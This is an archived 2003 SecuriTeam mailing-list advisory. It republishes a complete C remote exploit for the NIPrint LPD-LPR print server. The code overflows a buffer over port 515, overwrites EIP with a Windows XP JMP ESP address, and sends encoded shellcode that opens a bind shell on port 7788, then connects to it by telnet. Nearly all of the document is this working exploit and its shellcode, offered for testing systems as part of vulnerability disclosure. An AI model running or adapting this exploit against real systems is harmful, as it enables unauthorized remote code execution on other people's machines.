

# [EXPL] NIPrint LPD-LPR Print Server (Cross Platform Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0028.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 11/05/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 5 Nov 2003 17:42:25 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

NIPrint LPD-LPR Print Server (Cross Platform Exploit)

---

## SUMMARY

As we reported in our previous article

<<http://www.securiteam.com/windowsntfocus/6D004158UG.html>> NIPrint LPD-LPR Print Server (Long Request), a vulnerability in NIPrint allows remote attackers to overflow an internal buffer, this in turn can be used to overwrite the EIP address, allowing code execution.

The following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Exploit:

```
/*
```

```
\ remote exploit for NIPrint LPD-LPR Print Server (Version <= 4.10)
```

```
/
```

```
\ by xCrZx /BLack Sand Project/ /04.11.03/
```

```
/
```

```
\ bug founded by "KF" <dotslash@snoosoft.com>
```

```
\
```

Securiteam: [EXPL] NIPrint LPD-LPR Print Server (Cross Platform Exploit)

```
/ successfully tested on Win XP 5.1.2600  
\  
/ P.S.#1 coded just for fun...  
\ P.S.#2 this exploit can be compiled in Win32 and *nix  
*/
```

```
#ifdef _WIN32  
  
#include <winsock.h>  
#include <windows.h>  
  
#else  
  
#include <netinet/in.h>  
#include <netdb.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
#include <unistd.h>  
#include <errno.h>  
  
#endif  
  
#include <stdio.h>  
  
// JMP ESP ADDRESS (in Win XP 5.1.2600)  
#define RET 0x77F5801c  
#define SHELL 7788  
  
char shellcode[] =  
  
    "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"  
    "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"  
    "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"  
    "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"  
    "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"  
    "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"  
    "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"  
    "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"  
    "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"  
    "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"  
    "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"  
    "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"  
    "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"  
    "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"  
    "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"  
    "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"  
    "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"  
    "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"  
    "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
```

Securiteam: [EXPL] NIPrint LPD-LPR Print Server (Cross Platform Exploit)

```
"\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"  
"\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"  
"\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"  
"\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"  
"\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"  
"\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"  
"\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"  
"\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"  
"\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"  
"\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"  
"\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"  
"\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"  
"\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"  
"\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"  
"\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"  
"\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"  
"\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"  
"\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"  
"\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"  
"\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"  
"\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"  
"\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"  
"\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"  
"\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"  
"\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"  
"\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"  
"\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"  
"\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"  
"\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"  
"\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"  
"\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"  
"\x68\x68\x68\x68";
```

```
long getip(char *hostname) {  
    struct hostent *he;  
    long ipaddr;  
  
    if ((ipaddr = inet_addr(hostname)) < 0) {  
        if ((he = gethostbyname(hostname)) == NULL) {  
            perror("gethostbyname()");  
            exit(-1);  
        }  
        memcpy(&ipaddr, he->h_addr, he->h_length);  
    }  
    return ipaddr;  
}
```

```
int main(int argc, char **argv) {  
  
#ifdef _WIN32  
    WSADATA wsaData;
```

Securiteam: [EXPL] NIPrint LPD-LPR Print Server (Cross Platform Exploit)

```
#endif

int sock;
struct sockaddr_in sockstruct;
char tmp[2000];

if(!argv[1]) { printf("Usage: %s <address>\n",argv[0]);exit(0); }

#ifdef _WIN32

if(WSAStartup(0x101,&wsaData)){
    printf("Unable to initialize WinSock lib.\n");
    exit(0);
}

#endif

memset(sockstruct.sin_zero,0x00,sizeof(sockstruct.sin_zero));
sock=socket(PF_INET,SOCK_STREAM,0);
sockstruct.sin_family=PF_INET;
sockstruct.sin_addr.s_addr=getip(argv[1]);
sockstruct.sin_port=htons(515);

if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {

    printf("[+] Connected to %s:515!\n",argv[1]);

    memset(tmp,0x00,sizeof tmp);
    memset(tmp,0x41,49);
    *(long *)&tmp[strlen(tmp)]=RET;
    memset(tmp+strlen(tmp),0x90,50);
    memcpy(tmp+strlen(tmp),&shellcode,strlen(shellcode));
    send(sock,tmp,strlen(tmp),0);
    printf("[+] Exploit code was sent!\n");
}

#ifdef _WIN32
    closesocket(sock);
    WSACleanup();
#else
    close(sock);
#endif

printf("[+] Connecting to %s:%d\n",argv[1],SHELL);
sprintf(tmp,"telnet %s %d\n",argv[1],SHELL);
system(tmp);
printf("[−] Not connected! NIPrint probably not vulnerable!\n");

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:crazy\_einstein@yahoo.com>  
Crazy Einstein.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.